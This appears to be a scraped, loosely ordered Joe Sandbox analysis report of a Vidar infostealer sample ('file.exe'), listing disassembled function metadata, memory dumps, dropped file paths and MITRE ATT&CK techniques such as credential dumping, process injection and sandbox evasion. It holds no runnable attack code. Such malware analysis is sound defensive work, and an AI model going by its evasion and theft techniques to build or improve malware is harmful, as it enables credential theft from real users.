Function 6CC339A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE744,6CC97765,00000000,6CC97765,?,6CC56112), ref: 6CC339AF
LeaveCriticalSection.KERNEL32(6CCBE744,?,6CC56112), ref: 6CC33A34
EnterCriticalSection.KERNEL32(6CCBE784,6CC56112), ref: 6CC33A4B
LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC33A5F

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 39ee478e7cd308ffa62ddb97b0c77ad4dbdf837548ff45a894f413dba49c1d9f
Instruction ID: 0e70d531bc420b5a580e076ba3c5a5a98ab634a62042974d1965cb1e53c8b95e
Opcode Fuzzy Hash: 39ee478e7cd308ffa62ddb97b0c77ad4dbdf837548ff45a894f413dba49c1d9f
Instruction Fuzzy Hash: 262168367017118FCB149FE6D495A2673B1EF86B547280A1DD469A3F90FB31AC02C785

Function 6CC4B940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CC4B96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6CC4B99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC4B9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC4B9B9

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 967c321ebbbafde46be8047ff515d0d53ebfc995cd9cc7ee622f86fde4181937
Instruction ID: 76d5c866fef692e81fc026d244521d0da156360efe8846f830fb2aaf88c5fe92
Opcode Fuzzy Hash: 967c321ebbbafde46be8047ff515d0d53ebfc995cd9cc7ee622f86fde4181937
Instruction Fuzzy Hash: 75114FB1A002069FCB04DF69D8848AFB7F8BF98314B14853AE91AD3711E731A9158AA1

Function 6CC826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC826C1
free.MOZGLUE(?), ref: 6CC826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC826FF
free.MOZGLUE ref: 6CC8270D

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0936faf57fde408764e48ec1a9e0140e39618fff42944ceeebbc0395f2fbf2b6
Instruction ID: e82d43d1b88df88e19c19fe44e6bc361e2469cdf266f84fc3f60822f2c328e32
Opcode Fuzzy Hash: 0936faf57fde408764e48ec1a9e0140e39618fff42944ceeebbc0395f2fbf2b6
Instruction Fuzzy Hash: DDF0F9B27022005BEB009A58E88C947B7B9EF4121CB500035FA16C3B01F331F929C6A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBFCBGCGIJKJ\AKJDGI

C:\ProgramData\DBFCBGCGIJKJ\EGIDHD

C:\ProgramData\DBFCBGCGIJKJ\FBFHJJ

C:\ProgramData\DBFCBGCGIJKJ\FBFHJJ-shm

C:\ProgramData\DBFCBGCGIJKJ\FHDAFI

C:\ProgramData\DBFCBGCGIJKJ\FIEHII

C:\ProgramData\DBFCBGCGIJKJ\GHJDBA

C:\ProgramData\DBFCBGCGIJKJ\HCFIJK

C:\ProgramData\DBFCBGCGIJKJ\IEHCAK

C:\ProgramData\DBFCBGCGIJKJ\IEHCAK-shm

C:\ProgramData\DBFCBGCGIJKJ\KEBFBG

C:\ProgramData\DBFCBGCGIJKJ\KJKJJE

Windows Analysis Report
file.exe

Function 00C4018D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 0014560E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 0013F1E8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 0014C20E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
memorythreadCOMMON

Function 00142C21 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Function 0013C2E9 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre